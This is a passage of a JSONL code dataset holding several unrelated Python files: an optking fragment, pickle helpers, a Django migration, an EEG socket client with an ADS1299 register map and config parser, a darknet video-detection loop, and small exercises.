R_j = qcel.covalentradii.get(Z[j], missing=4.0)\n if Rij > scale_dist * (R_i + R_j):\n # ignore this as too far - for starters. may have A-B-C situation.\n continue\n\n self.logger.info(\"\\tConnecting fragments with atoms %d and %d\"\n % (i + 1, j + 1))\n C[i][j] = C[j][i] = True\n frag_connectivity[f1][f2] = frag_connectivity[f2][f1] = True\n\n # Now check for possibly symmetry-related atoms which are just as close\n # We need them all to avoid symmetry breaking.\n for f1_atom in fragAtoms[f1]:\n for f2_atom in fragAtoms[f2]:\n if f1_atom == i and f2_atom == j: # already have this one\n continue\n tval = v3d.dist(geom[f1_atom], geom[f2_atom])\n if np.fabs(tval - minVal) < 1.0e-10:\n i = f1_atom\n j = f2_atom\n self.logger.info(\"\\tAlso, with atoms %d and %d\\n\"\n % (i + 1, j + 1))\n C[i][j] = C[j][i] = True\n\n # Test whether all frags are connected using current distance threshold\n if np.sum(frag_connectivity[0]) == nF:\n self.logger.info(\"\\tAll fragments are connected in connectivity matrix.\")\n all_connected = True\n else:\n scale_dist += 0.2\n self.logger.info(\n \"\\tIncreasing scaling to %6.3f to connect fragments.\" % scale_dist)\n return\n\n def clear(self):\n self._fragments.clear()\n self._fb_fragments.clear()\n\n","sub_path":"optking/molsys.py","file_name":"molsys.py","file_ext":"py","file_size_in_byte":13424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"445678461","text":"import pickle\nimport os\n\ndef reset_memory():\n mem = load('assignments')\n mem = []\n save('assignments', mem)\n\ndef load(name):\n '''\n This method creates and loads a new journal.\n\n : param name: This base name of journal to load.\n : return: A new journal data structure populated with the file data.\n '''\n filename = get_full_pathname(name)\n data = None\n if os.path.exists(filename):\n with open(filename, 'rb') as fin:\n data = pickle.load(fin)\n return data\n\n\ndef save(name, data):\n filename = get_full_pathname(name)\n print(\"... saving to: {}\".format(filename))\n with open(filename, 'wb') as file_out:\n pickle.dump(data, file_out, pickle.HIGHEST_PROTOCOL)\n\n\ndef get_full_pathname(name):\n filename = os.path.abspath(os.path.join('.',name + '.pkl'))\n return filename\n\nif __name__ == \"__main__\":\n reset_memory()\n","sub_path":"file_io.py","file_name":"file_io.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"362473722","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nif __name__ == '__main__':\n some_dict = {\n 1: \"abc\",\n 2: \"home\",\n 3: \"test\",\n 4: \"task\"\n }\n print(f\"Словарь до изменений:\\n{some_dict}\")\n dict_items = some_dict.items()\n changed_dict = {i: j for j, i in dict_items}\n print(f\"Словарь после изменений:\\n{changed_dict}\")\n","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"108341967","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('asset', '0008_auto_20150520_1523'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='asbrand',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('brandd', models.CharField(max_length=30, verbose_name=b'\\xe8\\xb5\\x84\\xe4\\xba\\xa7\\xe5\\x93\\x81\\xe7\\x89\\x8c')),\n ('remark', models.CharField(max_length=200, verbose_name=b'\\xe5\\xa4\\x87\\xe6\\xb3\\xa8')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"asset/migrations/0009_asbrand.py","file_name":"0009_asbrand.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"532938897","text":"#!/usr/bin/python3\n\ntry:\n import sys,os\n\n# from matplotlib import style\n# import matplotlib.pyplot as plt\n# import matplotlib.animation as animation\n# import matplotlib.dates as dates\n import pyqtgraph as pg\n from pyqtgraph.Qt import QtCore, QtGui\n import numpy as np\n\n\n import threading\n\n import datetime\n import socket\n import select\n import time\n\n import inspect\n import re\n from time import strftime\nexcept ImportError as e:\n print('failed to import: {0}'.format(e))\n sys.exit()\n\n\nclass StoppableThread(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n self.stop_flag = threading.Event()\n\n def stop(self):\n if self.isAlive() == True:\n self.stop_flag.set()\n\n def stopped(self):\n return self.stop_flag.is_set()\n\n\n\nclass Log(object):\n def __init__(self, logfile=False, level='debug', display=True, maxlength=20):\n self.logfile = logfile\n self.display = display\n self.level = level\n self.maxlength = maxlength\n\n self.colors = { 'red' : '\\033[31m',\n 'white' : '\\033[37m',\n 'gray' : '\\033[0m',\n 'orange' : '\\033[33m',\n 'blue' : '\\033[34m',\n 'green' : '\\033[32m',\n 'reset' : '\\033[0m' }\n\n self.colors_levels = { 'info' : 'white',\n 'error' : 'red',\n 'debug' : 'gray',\n 'warning' : 'orange' }\n\n self.custom_highlights = {}\n\n\n def choose_show(self, level):\n \"\"\" Decide if a message should be shown based on configured message level \"\"\"\n if self.level == 'error' and (level == 'debug' or level == 'warning' or level == 'info'):\n return False\n if self.level == 'warning' and (level =='debug' or level == 'info'):\n return False\n if self.level == 'info' and (level == 'debug'):\n return False\n return True\n\n\n def create_message(self, level, module, message):\n # TODO: Add feature to detect lists/dicts and print them out nicely\n if self.choose_show(level):\n message = self.detect_type(message)\n module_justified = module.ljust(self.maxlength)\n level_justified = level.ljust(7)\n time = strftime(\"%H:%M:%S\")\n\n if self.display:\n print(\"{0} {1} {2} {3}\".format(module_justified,\n self.colors[self.colors_levels[level]],\n self.custom_highlight(message, self.colors[self.colors_levels[level]]),\n self.colors['reset']))\n\n if self.logfile:\n self.write_to_file(\"{0} {1}{2}{3}\\n\".format(strftime(\"%Y-%m-%d %H:%M:%S\"),\n level_justified,\n module_justified,\n message))\n\n\n def detect_type(self, message):\n \"\"\" Detect whether message is list or dict \"\"\"\n if type(message) == list:\n message = ' , '.join(message)\n elif type(message) == dict:\n message_out = ''\n for k,v in message.items():\n message_out = \"{0}\\n{1} : {2}\".format(message_out,k,v)\n message = message_out\n return message\n\n\n def create_file(self):\n \"\"\" Create a file if it doesn't exist \"\"\"\n try:\n with open(self.logfile) as f: pass\n except IOError as e:\n try:\n FILE = open(self.logfile, 'w')\n FILE.close()\n except IOError as e:\n print('WARNING ... Couldn\\'t create file \\'%s\\' Not writing logs!'%self.logfile)\n return False\n return True\n\n\n def write_to_file(self, message):\n if self.create_file():\n try:\n FILE = open(self.logfile, 'a')\n FILE.write(message)\n FILE.close()\n except:\n print('Failed to write to logfile')\n\n\n def custom_highlight(self, message, reset_color):\n if message:\n for string, color in self.custom_highlights.items():\n message = re.sub( string, self.colors[color] + string + reset_color, message)\n return message\n\n\n def color(self, string, color):\n \"\"\" Callable method to add a custom highlight eg. ( log.color('what_to_highlight', 'color_to_use') ) \"\"\"\n self.custom_highlights[string] = color\n\n\n def info(self, message):\n self.create_message('info', inspect.stack()[1][3], message)\n\n\n def debug(self, message):\n self.create_message('debug', inspect.stack()[1][3], message)\n\n\n def warning(self, message):\n self.create_message('warning', inspect.stack()[1][3], message)\n\n\n def error(self, message):\n self.create_message('error', inspect.stack()[1][3], message)\n\n\n def red(self, message):\n self.create_message('info', inspect.stack()[1][3], message)\n\n\n def blue(self, message):\n self.create_message('info', inspect.stack()[1][3], message)\n\n\n def green(self, message):\n self.create_message('info', inspect.stack()[1][3], message)\n\n\n def orange(self, message):\n self.create_message('info', inspect.stack()[1][3], message)\n\n\n\nclass Config_Option(object):\n \"\"\" Helper class of Config() \"\"\"\n def __init__(self, section=False, comment=[], key=False, value=False):\n self.section = section\n self.key = key\n self.value = value\n if comment:\n if type(comment) == list:\n self.comment = comment\n else:\n self.comment = [comment]\n else:\n self.comment = []\n\n def set_comment(self, comment): \n if type(comment) == list:\n self.comment = comment\n else:\n self.comment = [comment]\n\n def set_section(self, section): self.section = section\n def set_key(self, key): self.key = value\n def set_value(self, value): self.value = value\n def get_section(self): return self.section\n def get_comment(self): return self.comment\n def get_key(self): return self.key\n def get_value(self): return self.value\n\n\n\nclass Config(object):\n def __init__(self, quiet=False):\n self.config_file_path = False\n # This list stores all config option objects\n self.config = []\n # display errrors\n self.quiet = quiet\n\n\n def set_option(self, option): self.config.append(option)\n def set_config_path(self, path): self.config_file_path = path\n def get_options(self): return sorted(self.config, key=lambda x: x.get_section(), reverse=False)\n def get_config_path(self): return self.config_file_path\n\n\n def test_float(self, var):\n try:\n return float(var)\n except:\n return False\n\n\n def test_int(self, var):\n try:\n return int(var)\n except:\n return False\n\n\n def convert_numbers(self, var):\n \"\"\" Convert strings or lists of numbers to floats or ints \"\"\"\n # var is a list\n if type(var) == list:\n\n for x in range(0, len(var)):\n if self.test_int(var[x]):\n var[x] = self.test_int(var[x])\n elif self.test_float(var[x]):\n var[x] = self.test_float(var[x])\n\n # Var is not a list\n else:\n if self.test_int(var):\n var = int(var)\n elif self.test_float(var):\n var = float(var)\n\n return var\n\n\n def parse_file(self, path):\n \"\"\" Parse file and create a list with option objects \"\"\"\n\n # Get config file contents in a list\n section = False\n comments = []\n\n config_file = self.get_file()\n\n if not config_file:\n return False\n\n for line in config_file:\n # clean line from whitespaces, newlines etc\n line = self.sanitize(line)\n\n # Line is empty, do nothing\n if not line:\n pass\n\n # Line is commented\n elif line[0] == '#':\n comments.append(self.sanitize(line[1:]))\n\n # Line is a section header\n elif line[0] == '[' and line[-1] == ']':\n section = self.sanitize(line, extra_opts = ['[', ']'])\n\n # We are in a section loop\n elif section:\n\n # Line is a key/value pair\n if '=' in line:\n k,v = line.split('=', 1)\n k = self.sanitize(k)\n v = self.sanitize(v)\n\n # replace certain values like ~ -> /home/\n v = self.replace(v)\n # TODO Find a solution for this, the replaced variable should not be written back to the file\n # Also does this not work for variables set by config.set()\n\n # Value is empty, add empty value\n if not v:\n option = self.set(section, k, '', comment=comments)\n comments = []\n\n\n # Value is a list\n elif v[0] == '[' and v[-1] == ']':\n v = self.sanitize(v, extra_opts = ['[', ']'])\n\n # Value contains a comma. read all values in a list\n if ',' in v:\n v_list = self.sanitize_list(v.split(','))\n option = self.set(section, k, v_list, comment=comments)\n comments = []\n\n\n # Value doesn't contain comma so could be a list with a single item or an empty list\n else:\n if v:\n option = self.set(section, k, v, comment=comments)\n else:\n option = self.set(section, k, [], comment=comments)\n comments = []\n\n # Value is a simple key, value pair\n else:\n option = self.set(section, k, v, comment=comments)\n comments = []\n\n return self.config\n\n\n def set(self, section, k, v, comment=[]):\n \"\"\" Create a config_option() instance and fill it with data \"\"\"\n v = self.convert_numbers(v)\n # If option already exist, change it\n for option in self.get_options():\n if option.get_section() == section:\n if option.get_key() == k:\n option.set_comment(comment)\n option.set_value(v)\n return option\n # If option does not exist, create it\n option = Config_Option(key=k, value=v, section=section, comment=comment)\n self.set_option(option)\n return option\n\n\n def get(self, section, key):\n \"\"\" Get a value from list of config_option() instances in self.config by section and key \"\"\"\n for option in self.get_options():\n if option.get_section() == section:\n if option.get_key() == key:\n return option.get_value()\n if not self.quiet:\n print('Couldn\\'t find value for key in section {0} : {1}'.format(section, key))\n return False\n\n\n def test_file(self):\n \"\"\" Test if file exists \"\"\"\n try:\n with open(self.config_file_path) as f: pass\n return True\n except IOError as e:\n return False\n\n\n def ensure_dir(self, dirname):\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n\n def write_to_file(self, data=False, remove=False):\n \"\"\" Write a string to a file, remove file if it exists by giving remove=False \"\"\"\n if not self.get_config_path():\n return False\n\n self.ensure_dir(os.path.dirname(self.get_config_path()))\n\n if remove == True:\n try:\n FILE = open(self.config_file_path, 'w')\n FILE.close()\n return True\n except:\n if not self.quiet:\n print('Failed to remove file')\n return False\n\n else:\n try:\n FILE = open(self.config_file_path, 'a')\n FILE.write(data + '\\n')\n FILE.close()\n return True\n except:\n if not self.quiet:\n print('Failed to write to file')\n pass\n return False\n\n\n def write(self):\n \"\"\" Write the config to disk \"\"\"\n\n self.write_to_file(remove=True)\n section = False\n first = True\n\n for option in self.get_options():\n current_section = option.get_section()\n\n if not current_section == section:\n # Only put newline above section header if it is not the first one\n if first:\n self.write_to_file('[{0}]'.format(current_section))\n first = False\n else:\n self.write_to_file('\\n[{0}]'.format(current_section))\n section = current_section\n\n comment = option.get_comment()\n for c in comment:\n self.write_to_file('# {0}'.format(c))\n\n value = option.get_value()\n if type(value) == list:\n value = '[{0}]'.format(','.join(value))\n\n self.write_to_file('{0} = {1}'.format(option.get_key(),value))\n if not self.quiet:\n print('File written to: {0}'.format(self.config_file_path))\n\n\n def get_file(self):\n \"\"\" Get contents of a file and put every line in a list\"\"\"\n contents = []\n try:\n f = open(self.config_file_path, 'r')\n except IOError as e:\n if not self.quiet:\n print('No config file found at: {0}'.format(self.config_file_path))\n return False\n\n for line in f:\n if line:\n contents.append(self.sanitize(line))\n f.close()\n\n if contents:\n return contents\n return False\n\n\n def sanitize(self, data, extra_opts = []):\n \"\"\" Clean variable from newlines, leading/trailing spaces and other stuff \"\"\"\n sanitize_list = [' ', '\\'', '\\\"', '\\n'] + extra_opts\n for sanitize in sanitize_list:\n data = data.strip(sanitize)\n return data\n\n\n def sanitize_list(self, data):\n \"\"\" Clean list indices from newlines, leading/trailing spaces and other stuff \"\"\"\n output = []\n for x in data:\n x = x.strip()\n x = x.strip('\\'')\n x = x.strip('\\\"')\n x = x.strip('\\n')\n x = x.strip('[')\n x = x.strip(']')\n output.append(x)\n data = output[:]\n return data\n\n\n def replace(self, data):\n \"\"\" Replace characters or strings in a string with something else \"\"\"\n replace_list = {'~' : os.getenv(\"HOME\"), '' : socket.gethostname()}\n for k,v in replace_list.items():\n data = data.replace(k, v)\n return data\n\n\n def parse(self):\n # Parse the config file\n if self.parse_file(self.config_file_path):\n return True\n return False\n\n\n\nclass ADS1299(object):\n def __init__(self):\n self.registers = {}\n self.registers['ID'] = 0x00\n self.registers['CONFIG1'] = 0x01\n self.registers['CONFIG2'] = 0x02\n self.registers['CONFIG3'] = 0x03\n self.registers['LOFF'] = 0x04\n self.registers['CH1SET'] = 0x05\n self.registers['CH2SET'] = 0x06\n self.registers['CH3SET'] = 0x07\n self.registers['CH4SET'] = 0x08\n self.registers['CH5SET'] = 0x09\n self.registers['CH6SET'] = 0x0A\n self.registers['CH7SET'] = 0x0B\n self.registers['CH8SET'] = 0x0C\n self.registers['BIAS_SENSP'] = 0x0D\n self.registers['BIAS_SENSN'] = 0x0E\n self.registers['LOFF_SENSP'] = 0x0F\n self.registers['LOFF_SENSN'] = 0x10\n self.registers['LOFF_FLIP'] = 0x11\n self.registers['LOFF_STATP'] = 0x12\n self.registers['LOFF_STATN'] = 0x13\n self.registers['GPIO'] = 0x14\n self.registers['MISC1'] = 0x15\n self.registers['MISC2'] = 0x16\n self.registers['CONFIG4'] = 0x17\n\n self.values = {}\n self.values['ID'] = list('00011110')\n self.values['CONFIG1'] = list('10010110')\n self.values['CONFIG2'] = list('11000000')\n self.values['CONFIG3'] = list('01100000')\n self.values['LOFF'] = list('00000000')\n self.values['CH1SET'] = list('01100000')\n self.values['CH2SET'] = list('01100000')\n self.values['CH3SET'] = list('01100000')\n self.values['CH4SET'] = list('01100000')\n self.values['CH5SET'] = list('01100000')\n self.values['CH6SET'] = list('01100000')\n self.values['CH7SET'] = list('01100000')\n self.values['CH8SET'] = list('01100000')\n self.values['BIAS_SENSP'] = list('00000000')\n self.values['BIAS_SENSN'] = list('00000000')\n self.values['LOFF_SENSP'] = list('00000000')\n self.values['LOFF_SENSN'] = list('00000000')\n self.values['LOFF_FLIP'] = list('00000000')\n self.values['LOFF_STATP'] = list('00000000')\n self.values['LOFF_STATN'] = list('00000000')\n self.values['GPIO'] = list('00001111')\n self.values['MISC1'] = list('00000000')\n self.values['MISC2'] = list('00000000')\n self.values['CONFIG4'] = list('00000000')\n\n\n def get_reg(self, reg):\n return '0x{:02x}'.format(self.registers[reg]), hex(int(''.join(self.values[reg]),2))\n\n\n def get_all_regs(self):\n return_list = []\n for reg in self.registers:\n return_list.append(self.get_reg(reg))\n return return_list\n\n\n def set_reg(self, reg, bit, value):\n self.values[reg][bit-1] = str(value)\n return self.get_reg(reg)\n\n\n def set_channel(self, channel, state=True):\n # Enable/disable channel\n if state:\n log.info('Enabling channel: {0}'.format(channel))\n return self.set_reg('CH{0}SET'.format(str(channel)), 1, 0)\n else:\n log.info('Disabling channel: {0}'.format(channel))\n return self.set_reg('CH{0}SET'.format(str(channel)), 1, 1)\n\n\n def set_srb1(self, state=True):\n # Enable/disable channel\n if state:\n log.info('Setting SRB1 as ground on all channels')\n return self.set_reg('MISC1', 3, 1)\n else:\n log.info('Disconnecting SRB1')\n return self.set_reg('MISC1', 3, 0)\n\n\n def set_internal_ref(self, state=True):\n # Enable/disable channel\n if state:\n log.info('Using internal reference')\n return self.set_reg('CONFIG3', 1, 1)\n else:\n log.info('Using external reference')\n return self.set_reg('CONFIG3', 1, 0)\n\n\n def set_gain(self, channel, level):\n gain = {}\n gain[1] = list('000')\n gain[2] = list('001')\n gain[4] = list('010')\n gain[6] = list('011')\n gain[8] = list('100')\n gain[12] = list('101')\n gain[24] = list('110')\n\n self.set_reg('CH{0}SET'.format(str(channel)), 2, gain[level][0])\n self.set_reg('CH{0}SET'.format(str(channel)), 3, gain[level][1])\n self.set_reg('CH{0}SET'.format(str(channel)), 4, gain[level][2])\n\n\n\nclass Data(object):\n def __init__(self, config):\n # TODO: create a method to create a filename with date_increasing number\n self.channel = False\n self.data = False\n self.loff_p = True\n self.loff_n = True\n self.config = config\n #self.timestamp = datetime.datetime.now().strftime(\"%H:%M:%S.%f\")\n self.timestamp = datetime.datetime.today()\n\n\n def set_channel(self, channel): self.channel = channel\n def set_data(self, data): self.data = data\n def set_loff_n(self, state): self.loff_n = state\n def set_loff_p(self, state): self.loff_p = state\n def get_channel(self): return self.channel\n def get_data(self): return self.data\n def get_timestamp(self): return self.timestamp\n def get_loff_p(self): return self.loff_p\n def get_loff_n(self): return self.loff_n\n\n\n def create_file(self):\n \"\"\" Create a file if it doesn't exist \"\"\"\n try:\n with open(self.config.get('log', 'path')) as f: pass\n except IOError as e:\n try:\n FILE = open(self.config.get('log', 'path'), 'w')\n FILE.close()\n except IOError as e:\n log.error('WARNING ... Couldn\\'t create file \\'%s\\''%self.write_path)\n return False\n return True\n\n\n def write(self):\n \"\"\" Write data to file \"\"\"\n if self.create_file():\n try:\n FILE = open(self.config.get('log', 'path'), 'a')\n #FILE.write(\"{0}|{1}|{2}\\n\".format(self.get_timestamp(), \\\n # self.get_channel(), \\\n # self.get_data()))\n FILE.write(\"{0}|{1}\\n\".format( self.get_channel(), \\\n self.get_data()))\n FILE.close()\n except:\n log.error('Failed to write to file')\n\n\n def display(self):\n log.info(\"{0} {1} {2}\".format(self.get_timestamp(), self.get_channel(), self.get_data()))\n\n\n\nclass DataList(object):\n def __init__(self):\n self.data = []\n\n\n def add_data(self, data): self.data.append(data)\n\n\n def get_last_items(self, channel, last_item=False, amount=False):\n # Get the newest items since the last_item object\n \n # Make a copy to work with, there could occur changes while running this method\n data_list = self.get_data_list(channel)[:]\n\n # When first run, return all the data received so far\n if not last_item:\n return data_list\n\n return_list = []\n\n # Reverse cycle through list_date, searching for last_item and adding all the\n # found objects to return_list on the way\n for data in reversed(data_list):\n if data == last_item:\n return list(reversed(return_list))\n\n return_list.append(data)\n\n log.error('Could not find last_item: {0}'.format(last_item))\n return False\n\n\n def get_data_list(self, channel):\n return_list = []\n data_tmp = self.data[:]\n for data in data_tmp:\n if int(data.get_channel()) == int(channel):\n return_list.append(data)\n\n return return_list\n\n\n\nclass Socket(object):\n def connect(self, host, port):\n try:\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n log.info('Client socket created')\n except socket.error as e:\n log.error('Failed to create client socket: {0}'.format(e))\n return False\n #self.socket = socket.socket()\n self.socket.settimeout(5)\n try:\n self.socket.connect((host, port))\n log.info('Connected to server')\n return True\n except socket.error as e:\n log.error('Failed to connect to server: {0}'.format(e))\n return False\n\n\n def send(self, data, prefix=True):\n # TODO check if connection is still alive\n if prefix:\n data = str(len(data)).rjust(3, '0') + data\n\n data_bytes = data.encode()\n\n try:\n self.socket.sendall(data_bytes)\n log.info('<<< {0}'.format(data))\n return True\n except socket.error as e:\n #log.error('Failed to send data: {0}'.format(e))\n return False\n\n\n def is_alive(self):\n pass\n\n\n def receive(self, bits):\n # TODO check if connection is still alive\n try:\n data = self.socket.recv(int(bits)).decode('utf-8')\n return self.sanitize(data)\n except socket.error as e:\n #log.error('Failed to receive data: {0}'.format(e))\n return False\n\n\n def sanitize(self, data):\n return data.strip('\\n')\n\n\n def close(self):\n self.socket.close()\n \n\n\nclass PlotThread(StoppableThread):\n def __init__(self):\n StoppableThread.__init__(self)\n\n\n def setup(self):\n self.fig = plt.figure()\n self.ax1 = self.fig.add_subplot(1,1,1)\n\n\n def animate(self):\n xar = []\n yar = []\n\n for data in datalist.get_data_list():\n xar.append(data.get_data())\n yar.append(data.get_timestamp())\n self.ax1.clear()\n self.ax1.plot(xar,yar)\n\n\n def plot(self):\n self.setup()\n ani = animation.FuncAnimation(self.fig, self.animate, interval=1000)\n plt.show()\n print('lkjj')\n\n\n def run(self):\n print('lkjj')\n self.plot()\n while True:\n pass\n\n\n\nclass EEG(object):\n def __init__(self, config, datalist):\n self.config = config\n self.ads1299 = ADS1299()\n self.datalist = datalist\n\n\n def get_file(self, filename):\n \"\"\" Get contents of a file and put every line in a list\"\"\"\n contents = []\n try:\n f = open(filename, 'r')\n except IOError as e:\n log.error('No config file found at: {0}'.format(filename))\n return False\n\n for line in f:\n if line:\n contents.append(line)\n f.close()\n\n if contents:\n return contents\n return False\n\n\n def start_threads(self):\n self.running_threads = []\n self.running_threads.append(QtThread(self.config).start())\n\n\n def stop_threads(self):\n for thread in self.running_threads:\n thread.stop()\n\n\n def test(self, var):\n try:\n int(var)\n return True\n except:\n return False\n\n\n def get_data(self):\n # Receive length of data first\n skipped = 0\n while True:\n length = self.socket.receive(4)\n if length:\n if length[0] == '#':\n length = length[1:]\n skipped = 0\n break\n else:\n skipped += 1\n\n if skipped >= 3:\n log.error('lots of skipping frames... returning False')\n return False\n\n if self.test(length):\n # then get the full frame \n data = self.socket.receive(length)\n if data:\n if self.add_data(data):\n return True\n else:\n log.error('Error getting data, no data')\n return True\n else:\n log.error('Error getting data, length is corrupted: {0}'.format(length))\n return True\n return True\n\n\n def get_timestamp(self):\n return int(strftime(\"%d%H%M%S\"))\n\n\n def add_data(self, rd):\n # Create data objects and add to datalist object\n rd = rd.split(',')\n if len(rd) != 11:\n log.error('Data is corrupted!: {0}'.format(','.join(rd)))\n return False\n\n channel = 0\n # Skip the status bits start at byte 4\n for d in rd[3:11]:\n channel += 1\n if self.config.get('channel'+ str(channel), 'state') == 'on':\n if d == 0:\n log.error('Data is 0')\n return False\n data = Data(self.config)\n data.set_channel(channel)\n data.set_data(self.map_data(d, -8388607, 8388607, -0.3, 0.3))\n #data.display()\n self.datalist.add_data(data)\n return True\n\n\n def map_data(self, x, in_min, in_max, out_min, out_max):\n x = float(x)\n in_min = float(in_min)\n in_max = float(in_max)\n out_min = float(out_min)\n out_max = float(out_max)\n return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min\n\n\n def send_settings(self):\n for reg in self.ads1299.get_all_regs():\n self.socket.send('WREG,{0},{1}'.format(reg[0], reg[1]))\n\n\n def set_srb1(self, state=True):\n if state:\n self.config.set('srb1', 'state', 'ground')\n self.ads1299.set_srb1()\n return\n else:\n self.config.set('srb1', 'state', 'disconnected')\n self.ads1299.set_srb1(state=False)\n return\n\n\n def set_ref(self, state=True):\n if state:\n self.config.set('general', 'reference', 'internal')\n self.ads1299.set_internal_ref()\n return\n else:\n self.config.set('general', 'internal', 'external')\n self.ads1299.set_internal_ref(state=False)\n return\n\n\n def set_channel(self, channel, state=True):\n if state:\n log.info('Channel{0} is on'.format(channel))\n self.config.set('channel' + str(channel), 'state', 'on')\n self.ads1299.set_channel(channel)\n else:\n log.info('Channel{0} is off'.format(channel))\n self.config.set('channel' + str(channel), 'state', 'off')\n self.ads1299.set_channel(channel, state=False)\n\n\n def set_gain(self, channel, level):\n log.info('Gain on Channel{0} is set to: {1}'.format(channel, level))\n self.config.set('channel' + str(channel), 'gain', level)\n self.ads1299.set_gain(channel, level)\n\n\n def send_start(self):\n self.socket.send('START')\n\n\n def send_stop(self):\n self.socket.send('STOP')\n\n\n def usage(self):\n print(\"PYEEG\")\n print(\"OPTIONS:\")\n print(\" --noise-check\")\n print(\" --test-signal\")\n print(\" --plot\")\n print(\" --start\")\n print(\" --run-time=\")\n print(\" --channels=1,2,3,4,5,6,7,8\")\n print(\" --gain= or \")\n print(\" level = 1,2,4,6,8,12,24\")\n\n print(\" --shutdown\")\n\n\n def set_config_defaults(self):\n self.config.set('server', 'address', 'alarmpi')\n self.config.set('server', 'port', '8888')\n self.config.set('general', 'length-size', '3')\n self.config.set('general', 'run-time', '-1')\n self.config.set('general', 'reference', 'internal')\n self.config.set('general', 'refresh', '0.1')\n self.config.set('channel1', 'state', 'on')\n self.config.set('channel2', 'state', 'on')\n self.config.set('channel3', 'state', 'on')\n self.config.set('channel4', 'state', 'on')\n self.config.set('channel5', 'state', 'on')\n self.config.set('channel6', 'state', 'on')\n self.config.set('channel7', 'state', 'on')\n self.config.set('channel8', 'state', 'on')\n self.config.set('channel1', 'gain', '24')\n self.config.set('channel2', 'gain', '24')\n self.config.set('channel3', 'gain', '24')\n self.config.set('channel4', 'gain', '24')\n self.config.set('channel5', 'gain', '24')\n self.config.set('channel6', 'gain', '24')\n self.config.set('channel7', 'gain', '24')\n self.config.set('channel8', 'gain', '24')\n self.config.set('srb1', 'state','ground')\n self.config.set('log', 'path', '/home/eco/eeg.txt')\n\n\n def handle_arg(self):\n if len(sys.argv) < 2 or \"--help\" in sys.argv:\n return self.usage()\n\n # Setting config values\n for arg in sys.argv:\n\n if len(arg.split('=')) == 2:\n key = arg.split('=')[0][2:]\n value = arg.split('=')[1]\n\n if '--run-time=' in arg:\n self.config.set('general', key, value)\n\n elif '--address=' in arg:\n self.config.set('server', key, value)\n\n elif '--port=' in arg:\n self.config.set('server', key, value)\n\n elif '--channels=' in arg:\n self.set_channel(value)\n\n elif '--gain=' in arg:\n self.set_gain(value)\n\n # Commands\n for arg in sys.argv:\n if \"--plot\" in arg:\n self.start_threads()\n\n if \"--start\" in arg:\n # NOTE is not receiving on the c side!!\n self.send_channel_config()\n self.socket.send('START')\n self.get_data()\n\n elif \"--noise-check\" in arg:\n self.socket.send('NOISECHECK')\n self.get_data()\n\n elif \"--test-signal\" in arg:\n self.socket.send('TESTSIGNAL')\n self.get_data()\n\n elif \"--shutdown\" in arg:\n self.socket.send('SHUTDOWN')\n\n return False\n\n\n def connect(self):\n # Create socket\n self.socket = Socket()\n return self.socket.connect(self.config.get('server', 'address'), self.config.get('server', 'port'))\n\n\n def disconnect(self):\n log.info('Connection to server is closed')\n self.socket.close()\n\n\nlog = Log()\n\n\nif __name__ == \"__main__\":\n config = Config()\n datalist = DataList()\n ads1299 = ADS1299()\n log = Log()\n log.color('>>>', 'green')\n log.color('<<<', 'blue')\n log.color('###', 'red')\n log.color('---', 'blue')\n\n app = EEG(config)\n app.run()\n","sub_path":"bin/pyeeg.py","file_name":"pyeeg.py","file_ext":"py","file_size_in_byte":33969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"136528570","text":"import os\n\ncwd = os.getcwd()\n\nmovie_list = [\"BatvSup\", \"SuicideSquad\", \"Stoker\", \"TheRoom\", \"MemoriesofMurder\", \"Madeo\", \"AllaboutMyWife\", \"ColdEyes\", \"OurSunhi\"]\n\nfor index, movie in enumerate(movie_list):\n\tif index%5 == 3: \n\t\tprint(\"Making new folder for %s\" %movie)\n\t\tos.system(\"mkdir ../%s\" %(movie))\n\n\t\tos.chdir(\"../\")\n\t\tprint(\"Darknet run started for %s\" %(movie))\n\t\tos.system(\"./darknet detector demo cfg/combine9k.data cfg/yolo9000.cfg ../yolo9000-weights/yolo9000.weights -prefix ./%s/frame ./%s_2fps.mp4 -thresh 0.15\" %(movie, movie))\n\t\tprint(\"Darknet completed for %s\" %(movie))\n\t\n\t\tprint(\"Make new Collection folder for %s\" %(movie))\n\t\tos.system(\"mkdir %s\" %(movie))\n\t\tos.system(\"mv %s_2fps.mp4_Detected_objects.csv %s_Detected_objects.csv\" %(movie, movie))\n\t\tos.chdir(\"./Collection\")\n\t\tos.system(\"mv ../%s_Detected_objects.csv ./%s/\" %(movie, movie))","sub_path":"loop_darknet3.py","file_name":"loop_darknet3.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"311755606","text":"#!/usr/bin/env python3\n\"\"\" This is a script that correlates with the 1st chapter of the 'Head First Python' book \"\"\"\n\ndef print_lol(the_list, level=0):\n \"\"\"\n Simple function that takes a list, and then checks for lists within lists. If a list within a list\n exists we use resursion (a function calling itself) to print the inner list. Once we reach a point\n where there are no more nested lists, we will print that remaining data.\n\n Parameters:\n the_list - a python list of data\n level - number of tab levels to indent\n \"\"\"\n for each_item in the_list:\n # isinstance is a BIF for python (Built In Function)\n if isinstance(each_item, list):\n # Recursion\n print_lol(each_item, level)\n else:\n for tab_stop in range(level):\n print (\"\\t\", 